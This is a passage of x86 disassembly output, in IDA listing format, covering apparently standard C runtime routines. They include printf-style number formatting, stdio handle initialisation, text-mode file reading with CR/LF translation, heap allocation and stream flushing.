loc_41014A:				; CODE XREF: sub_40FBCF+354j
		add	[ebp+arg_8], 4
		test	bl, 20h
		mov	eax, [ebp+arg_8]
		jz	short loc_410168
		test	bl, 40h
		jz	short loc_410162
		movsx	eax, word ptr [eax-4]


loc_41015F:				; CODE XREF: sub_40FBCF+597j
					; sub_40FBCF+59Fj
		cdq
		jmp	short loc_410172
; ---------------------------------------------------------------------------


loc_410162:				; CODE XREF: sub_40FBCF+58Aj
		movzx	eax, word ptr [eax-4]
		jmp	short loc_41015F
; ---------------------------------------------------------------------------


loc_410168:				; CODE XREF: sub_40FBCF+585j
		test	bl, 40h
		mov	eax, [eax-4]
		jnz	short loc_41015F
		xor	edx, edx


loc_410172:				; CODE XREF: sub_40FBCF+368j
					; sub_40FBCF+591j
		test	bl, 40h
		jz	short loc_41018C
		test	edx, edx
		jg	short loc_41018C
		jl	short loc_410181
		test	eax, eax
		jnb	short loc_41018C


loc_410181:				; CODE XREF: sub_40FBCF+5ACj
		neg	eax
		adc	edx, 0
		neg	edx
		or	byte ptr [ebp+var_8+1],	1


loc_41018C:				; CODE XREF: sub_40FBCF+5A6j
					; sub_40FBCF+5AAj ...
		test	[ebp+var_8], esi
		mov	ebx, eax
		mov	edi, edx
		jnz	short loc_410197
		xor	edi, edi


loc_410197:				; CODE XREF: sub_40FBCF+5C4j
		cmp	[ebp+var_C], 0
		jge	short loc_4101A6
		mov	[ebp+var_C], 1
		jmp	short loc_4101B7
; ---------------------------------------------------------------------------


loc_4101A6:				; CODE XREF: sub_40FBCF+5CCj
		and	[ebp+var_8], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_4101B7
		mov	[ebp+var_C], eax


loc_4101B7:				; CODE XREF: sub_40FBCF+5D5j
					; sub_40FBCF+5E3j
		mov	eax, ebx
		or	eax, edi
		jnz	short loc_4101C1
		and	[ebp+var_20], 0


loc_4101C1:				; CODE XREF: sub_40FBCF+5ECj
		lea	esi, [ebp+var_55]


loc_4101C4:				; CODE XREF: sub_40FBCF+627j
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jg	short loc_4101D4
		mov	eax, ebx
		or	eax, edi
		jz	short loc_4101F8


loc_4101D4:				; CODE XREF: sub_40FBCF+5FDj
		mov	eax, [ebp+var_14]
		cdq
		push	edx
		push	eax
		push	edi
		push	ebx
		call	sub_40E770
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+var_40], ebx
		mov	ebx, eax
		mov	edi, edx
		jle	short loc_4101F3
		add	ecx, [ebp+var_30]


loc_4101F3:				; CODE XREF: sub_40FBCF+61Fj
		mov	[esi], cl
		dec	esi
		jmp	short loc_4101C4
; ---------------------------------------------------------------------------


loc_4101F8:				; CODE XREF: sub_40FBCF+603j
		lea	eax, [ebp+var_55]
		sub	eax, esi
		inc	esi
		test	byte ptr [ebp+var_8+1],	2
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], esi
		jz	short loc_410222
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jnz	short loc_410215
		test	eax, eax
		jnz	short loc_410222


loc_410215:				; CODE XREF: sub_40FBCF+640j
		dec	[ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	30h
		inc	eax


loc_41021F:				; CODE XREF: sub_40FBCF+3B8j
					; sub_40FBCF+3C1j ...
		mov	[ebp+var_14], eax


loc_410222:				; CODE XREF: sub_40FBCF+270j
					; sub_40FBCF+339j ...
		cmp	[ebp+var_34], 0
		jnz	loc_410311
		mov	ebx, [ebp+var_8]
		test	bl, 40h
		jz	short loc_41025A
		test	bh, 1
		jz	short loc_41023F
		mov	[ebp+var_1C], 2Dh
		jmp	short loc_410253
; ---------------------------------------------------------------------------


loc_41023F:				; CODE XREF: sub_40FBCF+668j
		test	bl, 1
		jz	short loc_41024A
		mov	[ebp+var_1C], 2Bh
		jmp	short loc_410253
; ---------------------------------------------------------------------------


loc_41024A:				; CODE XREF: sub_40FBCF+673j
		test	bl, 2
		jz	short loc_41025A
		mov	[ebp+var_1C], 20h


loc_410253:				; CODE XREF: sub_40FBCF+66Ej
					; sub_40FBCF+679j
		mov	[ebp+var_20], 1


loc_41025A:				; CODE XREF: sub_40FBCF+663j
					; sub_40FBCF+67Ej
		mov	esi, [ebp+var_24]
		sub	esi, [ebp+var_20]
		sub	esi, [ebp+var_14]
		test	bl, 0Ch
		jnz	short loc_410279
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_40FB74
		add	esp, 0Ch


loc_410279:				; CODE XREF: sub_40FBCF+697j
		push	[ebp+var_20]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_1C]
		call	sub_40FB98
		test	bl, 8
		pop	ecx
		jz	short loc_4102A4
		test	bl, 4
		jnz	short loc_4102A4
		push	edi
		push	esi
		push	30h
		lea	eax, [ebp+var_18]
		call	sub_40FB74
		add	esp, 0Ch


loc_4102A4:				; CODE XREF: sub_40FBCF+6BFj
					; sub_40FBCF+6C4j
		cmp	[ebp+var_28], 0
		jz	short loc_4102EB
		cmp	[ebp+var_14], 0
		jle	short loc_4102EB
		mov	eax, [ebp+var_14]
		mov	ebx, [ebp+var_10]
		mov	[ebp+var_40], eax


loc_4102B9:				; CODE XREF: sub_40FBCF+718j
		dec	[ebp+var_40]
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_414CA7
		inc	ebx
		pop	ecx
		inc	ebx
		test	eax, eax
		pop	ecx
		jle	short loc_4102FA
		mov	edi, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_54]
		call	sub_40FB98
		cmp	[ebp+var_40], 0
		pop	ecx
		jnz	short loc_4102B9
		jmp	short loc_4102FA
; ---------------------------------------------------------------------------


loc_4102EB:				; CODE XREF: sub_40FBCF+6D9j
					; sub_40FBCF+6DFj
		push	[ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		call	sub_40FB98
		pop	ecx


loc_4102FA:				; CODE XREF: sub_40FBCF+702j
					; sub_40FBCF+71Aj
		test	byte ptr [ebp+var_8], 4
		jz	short loc_410311
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_40FB74
		add	esp, 0Ch


loc_410311:				; CODE XREF: sub_40FBCF+576j
					; sub_40FBCF+657j ...
		cmp	[ebp+var_2C], 0
		jz	short loc_410324 ; default
		push	[ebp+var_2C]
		call	sub_40E359
		and	[ebp+var_2C], 0
		pop	ecx


loc_410324:				; CODE XREF: sub_40FBCF+74j
					; sub_40FBCF+99j ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		test	bl, bl
		jnz	loc_40FC04


loc_410331:				; CODE XREF: sub_40FBCF+40j
		pop	edi
		pop	esi


loc_410333:				; CODE XREF: sub_40FBCF+29j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_18]
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_40FBCF	endp

; ---------------------------------------------------------------------------
off_410344	dd offset loc_40FDCE	; DATA XREF: sub_40FBCF+7Ar
		dd offset loc_40FC50	; jump table for switch	statement
		dd offset loc_40FC6D
		dd offset loc_40FCB9
		dd offset loc_40FCF4
		dd offset loc_40FCFD
		dd offset loc_40FD35
		dd offset loc_40FE07

; =============== S U B	R O U T	I N E =======================================



sub_410364	proc near		; CODE XREF: .text:0040F94Dp

var_44		= byte ptr -44h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 44h
		push	100h
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		jnz	short loc_41037E
		or	eax, 0FFFFFFFFh
		jmp	loc_41050B
; ---------------------------------------------------------------------------


loc_41037E:				; CODE XREF: sub_410364+10j
		mov	dword_4C5DC0, eax
		mov	dword_4C5DA0, 20h
		lea	ecx, [eax+100h]
		jmp	short loc_4103AF
; ---------------------------------------------------------------------------


loc_410395:				; CODE XREF: sub_410364+4Dj
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, dword_4C5DC0
		add	eax, 8
		add	ecx, 100h


loc_4103AF:				; CODE XREF: sub_410364+2Fj
		cmp	eax, ecx
		jb	short loc_410395
		push	ebx
		push	esi
		push	edi
		lea	eax, [esp+50h+var_44]
		push	eax
		call	dword_4191C4	; GetStartupInfoA
		cmp	[esp+4Ch+var_E], 0
		jz	loc_410494
		mov	eax, [esp+4Ch+var_C]
		test	eax, eax
		jz	loc_410494
		mov	esi, [eax]
		push	ebp
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_4103ED
		mov	esi, eax


loc_4103ED:				; CODE XREF: sub_410364+85j
		cmp	dword_4C5DA0, esi
		jge	short loc_410447
		mov	edi, offset dword_4C5DC4


loc_4103FA:				; CODE XREF: sub_410364+D9j
		push	100h
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		jz	short loc_410441
		add	dword_4C5DA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]
		jmp	short loc_410430
; ---------------------------------------------------------------------------


loc_41041A:				; CODE XREF: sub_410364+CEj
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h


loc_410430:				; CODE XREF: sub_410364+B4j
		cmp	eax, ecx
		jb	short loc_41041A
		add	edi, 4
		cmp	dword_4C5DA0, esi
		jl	short loc_4103FA
		jmp	short loc_410447
; ---------------------------------------------------------------------------


loc_410441:				; CODE XREF: sub_410364+A3j
		mov	esi, dword_4C5DA0


loc_410447:				; CODE XREF: sub_410364+8Fj
					; sub_410364+DBj
		xor	edi, edi
		test	esi, esi
		jle	short loc_410493


loc_41044D:				; CODE XREF: sub_410364+12Dj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41048A
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41048A
		test	cl, 8
		jnz	short loc_41046C
		push	eax
		call	dword_4191B0	; GetFileType
		test	eax, eax
		jz	short loc_41048A


loc_41046C:				; CODE XREF: sub_410364+FBj
		mov	eax, edi
		sar	eax, 5
		mov	eax, dword_4C5DC0[eax*4]
		mov	ecx, edi
		and	ecx, 1Fh
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41048A:				; CODE XREF: sub_410364+EEj
					; sub_410364+F6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41044D


loc_410493:				; CODE XREF: sub_410364+E7j
		pop	ebp


loc_410494:				; CODE XREF: sub_410364+63j
					; sub_410364+6Fj
		xor	ebx, ebx


loc_410496:				; CODE XREF: sub_410364+194j
		mov	eax, dword_4C5DC0
		lea	esi, [eax+ebx*8]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_4104F0
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_4104B0
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_4104BA
; ---------------------------------------------------------------------------


loc_4104B0:				; CODE XREF: sub_410364+145j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_4104BA:				; CODE XREF: sub_410364+14Aj
		push	eax
		call	dword_4191D0	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4104DF
		push	edi
		call	dword_4191B0	; GetFileType
		test	eax, eax
		jz	short loc_4104DF
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_4104E5


loc_4104DF:				; CODE XREF: sub_410364+162j
					; sub_410364+16Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_4104F4
; ---------------------------------------------------------------------------


loc_4104E5:				; CODE XREF: sub_410364+179j
		cmp	eax, 3
		jnz	short loc_4104F4
		or	byte ptr [esi+4], 8
		jmp	short loc_4104F4
; ---------------------------------------------------------------------------


loc_4104F0:				; CODE XREF: sub_410364+13Dj
		or	byte ptr [esi+4], 80h


loc_4104F4:				; CODE XREF: sub_410364+17Fj
					; sub_410364+184j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_410496
		push	dword_4C5DA0
		call	dword_4191CC	; LockResource
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx


loc_41050B:				; CODE XREF: sub_410364+15j
		add	esp, 44h
		retn
sub_410364	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41050F	proc near		; CODE XREF: sub_40D9DD+4Ap
					; sub_40E94D+91p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_4C5DA0
		push	edi
		jnb	loc_4106D6
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:4C5DC0h[eax*4]
		mov	eax, [ebx]
		and	esi, 1Fh
		shl	esi, 3
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_4106D6
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 0
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		jz	short loc_4105B5
		test	dl, 2
		jnz	short loc_4105B5
		test	dl, 48h
		jz	short loc_41057F
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41057F
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_C], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41057F:				; CODE XREF: sub_41050F+51j
					; sub_41050F+58j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebx]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_419110	; ReadFile
		test	eax, eax
		jnz	short loc_4105C8
		call	dword_4190AC	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_4105B0
		mov	dword_4C5908, ecx
		jmp	loc_4106DD
; ---------------------------------------------------------------------------


loc_4105B0:				; CODE XREF: sub_41050F+94j
		cmp	eax, 6Dh
		jnz	short loc_4105BC


loc_4105B5:				; CODE XREF: sub_41050F+47j
					; sub_41050F+4Cj
		xor	eax, eax
		jmp	loc_4106EA
; ---------------------------------------------------------------------------


loc_4105BC:				; CODE XREF: sub_41050F+A4j
		push	eax
		call	sub_412BBA
		pop	ecx
		jmp	loc_4106E7
; ---------------------------------------------------------------------------


loc_4105C8:				; CODE XREF: sub_41050F+87j
		mov	eax, [ebx]
		mov	edx, [ebp+var_10]
		add	[ebp+var_C], edx
		lea	ecx, [eax+esi+4]
		mov	al, [ecx]
		test	al, al
		jns	loc_4106D1
		test	edx, edx
		jz	short loc_4105EB
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_4105EB
		or	al, 4
		jmp	short loc_4105ED
; ---------------------------------------------------------------------------


loc_4105EB:				; CODE XREF: sub_41050F+D1j
					; sub_41050F+D6j
		and	al, 0FBh


loc_4105ED:				; CODE XREF: sub_41050F+DAj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], ecx
		jnb	loc_4106CB


loc_410605:				; CODE XREF: sub_41050F+1A4j
		mov	eax, [ebp+var_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_4106BB
		cmp	al, 0Dh
		jz	short loc_410621
		mov	[edi], al
		inc	edi
		inc	[ebp+var_8]
		jmp	loc_4106AD
; ---------------------------------------------------------------------------


loc_410621:				; CODE XREF: sub_41050F+105j
		dec	ecx
		cmp	[ebp+var_8], ecx
		jnb	short loc_41063B
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_410636
		add	[ebp+var_8], 2
		jmp	short loc_41068F
; ---------------------------------------------------------------------------


loc_410636:				; CODE XREF: sub_41050F+11Fj
		mov	[ebp+var_8], eax
		jmp	short loc_4106A9
; ---------------------------------------------------------------------------


loc_41063B:				; CODE XREF: sub_41050F+116j
		inc	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_419110	; ReadFile
		test	eax, eax
		jnz	short loc_410663
		call	dword_4190AC	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4106A9


loc_410663:				; CODE XREF: sub_41050F+148j
		cmp	[ebp+var_10], 0
		jz	short loc_4106A9
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_410684
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41068F
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		mov	[ecx+esi+5], al
		jmp	short loc_4106AC
; ---------------------------------------------------------------------------


loc_410684:				; CODE XREF: sub_41050F+161j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_410694
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_410694


loc_41068F:				; CODE XREF: sub_41050F+125j
					; sub_41050F+168j
		mov	byte ptr [edi],	0Ah
		jmp	short loc_4106AC
; ---------------------------------------------------------------------------


loc_410694:				; CODE XREF: sub_41050F+178j
					; sub_41050F+17Ej
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_4134BF
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_4106AD


loc_4106A9:				; CODE XREF: sub_41050F+12Aj
					; sub_41050F+152j ...
		mov	byte ptr [edi],	0Dh


loc_4106AC:				; CODE XREF: sub_41050F+173j
					; sub_41050F+183j
		inc	edi


loc_4106AD:				; CODE XREF: sub_41050F+10Dj
					; sub_41050F+198j
		mov	ecx, [ebp+var_C]
		cmp	[ebp+var_8], ecx
		jb	loc_410605
		jmp	short loc_4106CB
; ---------------------------------------------------------------------------


loc_4106BB:				; CODE XREF: sub_41050F+FDj
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_4106CB
		or	al, 2
		mov	[esi], al


loc_4106CB:				; CODE XREF: sub_41050F+F0j
					; sub_41050F+1AAj ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_C], edi


loc_4106D1:				; CODE XREF: sub_41050F+C9j
		mov	eax, [ebp+var_C]
		jmp	short loc_4106EA
; ---------------------------------------------------------------------------


loc_4106D6:				; CODE XREF: sub_41050F+12j
					; sub_41050F+34j
		and	dword_4C5908, 0


loc_4106DD:				; CODE XREF: sub_41050F+9Cj
		mov	dword_4C5904, 9


loc_4106E7:				; CODE XREF: sub_41050F+B4j
		or	eax, 0FFFFFFFFh


loc_4106EA:				; CODE XREF: sub_41050F+A8j
					; sub_41050F+1C5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41050F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4106EF	proc near		; CODE XREF: sub_40D9DD+34p
					; sub_40FA2B+6Fp ...

arg_0		= dword	ptr  4

		inc	dword_4C5900
		push	1000h
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_410718
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_410729
; ---------------------------------------------------------------------------


loc_410718:				; CODE XREF: sub_4106EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_410729:				; CODE XREF: sub_4106EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4106EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_410733	proc near		; CODE XREF: sub_40DABB+22p
					; sub_40DABB+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		imul	esi, [esp+8+arg_4]
		test	esi, esi
		push	edi
		mov	ebx, esi
		jnz	short loc_410746
		inc	esi


loc_410746:				; CODE XREF: sub_410733+10j
					; sub_410733+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_410786
		cmp	dword_4C5B68, 3
		jnz	short loc_410771
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		cmp	ebx, dword_4C5B54
		ja	short loc_410771
		push	ebx
		call	sub_4128A3
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_41079C


loc_410771:				; CODE XREF: sub_410733+21j
					; sub_410733+2Fj
		push	esi
		push	8
		push	dword_4C5B64
		call	dword_4191B8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4107A8


loc_410786:				; CODE XREF: sub_410733+18j
		cmp	dword_4C5988, 0
		jz	short loc_4107A8
		push	esi
		call	sub_412B9F
		test	eax, eax
		pop	ecx
		jnz	short loc_410746
		jmp	short loc_4107AA
; ---------------------------------------------------------------------------


loc_41079C:				; CODE XREF: sub_410733+3Cj
		push	ebx
		push	0
		push	edi
		call	sub_40D7B0
		add	esp, 0Ch


loc_4107A8:				; CODE XREF: sub_410733+51j
					; sub_410733+5Aj
		mov	eax, edi


loc_4107AA:				; CODE XREF: sub_410733+67j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_410733	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB61


loc_4107AE:				; CODE XREF: sub_40DB61+Ej
		push	esi
		push	edi
		push	3
		pop	esi
		xor	edi, edi
		cmp	dword_4C6EE0, esi
		jle	short loc_410801


loc_4107BD:				; CODE XREF: sub_40DB61+2C9Ej
		mov	eax, dword_4C5ED4
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4107F8
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4107DC
		push	eax
		call	sub_40E8F7
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4107DC
		inc	edi


loc_4107DC:				; CODE XREF: sub_40DB61+2C6Cj
					; sub_40DB61+2C78j
		cmp	esi, 14h
		jl	short loc_4107F8
		mov	eax, dword_4C5ED4
		push	dword ptr [eax+esi*4]
		call	sub_40E359
		mov	eax, dword_4C5ED4
		and	dword ptr [eax+esi*4], 0
		pop	ecx


loc_4107F8:				; CODE XREF: sub_40DB61+2C66j
					; sub_40DB61+2C7Ej
		inc	esi
		cmp	esi, dword_4C6EE0
		jl	short loc_4107BD


loc_410801:				; CODE XREF: sub_40DB61+2C5Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_40DB61

; =============== S U B	R O U T	I N E =======================================



sub_410806	proc near		; CODE XREF: sub_40E8F7+1Ap
					; sub_40EC73+7Dp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_410855
		test	ax, 108h
		jz	short loc_410855
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_410854
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41330B
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41084D
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_410854
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_410854
; ---------------------------------------------------------------------------


loc_41084D:				; CODE XREF: sub_410806+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_410854:				; CODE XREF: sub_410806+25j
					; sub_410806+3Dj ...
		pop	edi


loc_410855:				; CODE XREF: sub_410806+13j
					; sub_410806+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_410806	endp


; =============== S U B	R O U T	I N E =======================================



sub_410863	proc near		; CODE XREF: sub_41089E+2Dp
					; sub_41089E+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_410875
		push	esi
		call	sub_41089E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410875:				; CODE XREF: sub_410863+7j
		push	esi
		call	sub_410806
		test	eax, eax
		pop	ecx
		jz	short loc_410885
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410885:				; CODE XREF: sub_410863+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41089A
		push	dword ptr [esi+10h]
		call	sub_414D0D
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41089A:				; CODE XREF: sub_410863+26j
		xor	eax, eax
		pop	esi
		retn
sub_410863	endp


; =============== S U B	R O U T	I N E =======================================



sub_41089E	proc near		; CODE XREF: sub_410863+Ap
					; sub_41090B+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4C6EE0, esi
		jle	short loc_4108FC


loc_4108AF:				; CODE XREF: sub_41089E+5Cj
		mov	eax, dword_4C5ED4
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4108F3
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4108F3
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4108D9
		push	eax
		call	sub_410863
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4108F3
		inc	ebx
		jmp	short loc_4108F3
; ---------------------------------------------------------------------------


loc_4108D9:				; CODE XREF: sub_41089E+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4108F3
		test	cl, 2
		jz	short loc_4108F3
		push	eax
		call	sub_410863
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4108F3
		or	edi, eax


loc_4108F3:				; CODE XREF: sub_41089E+1Bj
					; sub_41089E+23j ...
		inc	esi
		cmp	esi, dword_4C6EE0
		jl	short loc_4108AF


loc_4108FC:				; CODE XREF: sub_41089E+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_410907
		mov	eax, edi


loc_410907:				; CODE XREF: sub_41089E+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41089E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41090B	proc near		; CODE XREF: sub_40DB61p
		push	1
		call	sub_41089E
		pop	ecx
		retn
sub_41090B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410914	proc near		; CODE XREF: sub_41095C+921p
					; sub_41095C+A26p
		cmp	dword_4214F4, 1
		push	esi
		mov	esi, eax
		jle	short loc_41092C
		push	4
		push	esi
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_410938
; ---------------------------------------------------------------------------


loc_41092C:				; CODE XREF: sub_410914+Aj
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+esi*2]
		and	eax, 4


loc_410938:				; CODE XREF: sub_410914+16j
		test	eax, eax
		jnz	short loc_410942
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_410942:				; CODE XREF: sub_410914+26j
		mov	eax, esi
		pop	esi
		retn
sub_410914	endp


; =============== S U B	R O U T	I N E =======================================



sub_410946	proc near		; CODE XREF: sub_41095C+6Fp
					; sub_41095C+221p ...
		dec	dword ptr [edx+4]
		js	short loc_410954
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_410954:				; CODE XREF: sub_410946+3j
		push	edx
		call	sub_40D9DD
		pop	ecx
		retn
sub_410946	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41095C	proc near		; CODE XREF: sub_40DCA4+2Ap

var_1D8		= word ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D3		= byte ptr -1D3h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_1C7		= byte ptr -1C7h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
